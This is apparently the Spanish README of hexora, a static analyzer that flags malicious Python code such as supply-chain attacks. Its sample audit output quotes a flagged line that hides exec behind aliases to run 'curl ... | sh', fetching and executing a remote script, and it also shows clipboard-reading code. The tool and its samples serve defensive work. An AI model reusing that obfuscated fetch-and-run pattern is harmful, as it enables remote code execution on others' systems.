hexora

Hexora es una herramienta de análisis estático diseñada para detectar patrones maliciosos y dañinos en código Python. Combina un motor de análisis estático basado en reglas con un modelo de aprendizaje automático que puntúa archivos fuente completos para clasificarlos como maliciosos o benignos.

Se puede usar para:

• Auditar dependencias de proyectos para detectar posibles ataques a la cadena de suministro
• Detectar scripts maliciosos encontrados en plataformas como Pastebin, GitHub o directorios abiertos
• Analizar archivos IoC de incidentes de seguridad pasados
• Auditar nuevos paquetes subidos a PyPi.

Ejemplos

Para ejemplos de salida, consulte el archivo docs/examples.md.

Instalación

Usando Python

Requiere Python 3.9+.

pip install hexora

Usando uv:

uv tool install hexora

Uso

hexora --help

Auditar un solo archivo

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

Auditar un directorio

hexora audit --output-format terminal resources/test/

Auditar paquetes del entorno virtual

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Donde python3.11 es la versión de Python en el entorno virtual.

Consejos:

• Use --exclude para suprimir ciertos códigos de regla (por ejemplo, importaciones ruidosas) en una ejecución determinada.
• Use --min-confidence para centrarse solo en hallazgos de alta confianza.

La confianza indica qué tan malicioso es un determinado fragmento de código. Algunas bibliotecas o fragmentos de código se utilizan con fines legítimos y es difícil distinguir los casos de uso legítimos de los maliciosos. Por eso algunos aciertos tienen un nivel de confianza bajo.

Algunas reglas pueden tener diferentes niveles de confianza. Evite filtrar muchas reglas por código a menos que esté muy seguro. Por ejemplo, la ejecución de código y de shell pueden tener confianza media, alta y muy alta. Esto depende de cómo se ejecutó el código. Si detectamos un intento de ofuscación, elevamos la confianza.

Por ejemplo, este código tendrá una confianza alta:

globals()["__builtins__"].eval("print(123)")

Uso en Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Pruebas con conjuntos de datos maliciosos

Al desarrollar nuevas reglas, puede usar conjuntos de datos maliciosos existentes como malicious-software-packages-dataset.

Después de clonar, apunte la herramienta de evaluación comparativa al directorio del conjunto de datos:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Reglas disponibles

Se agregan nuevas reglas regularmente.

Actualmente, están disponibles las siguientes reglas:

Créditos

Para el análisis, usamos el analizador AST de la biblioteca ruff.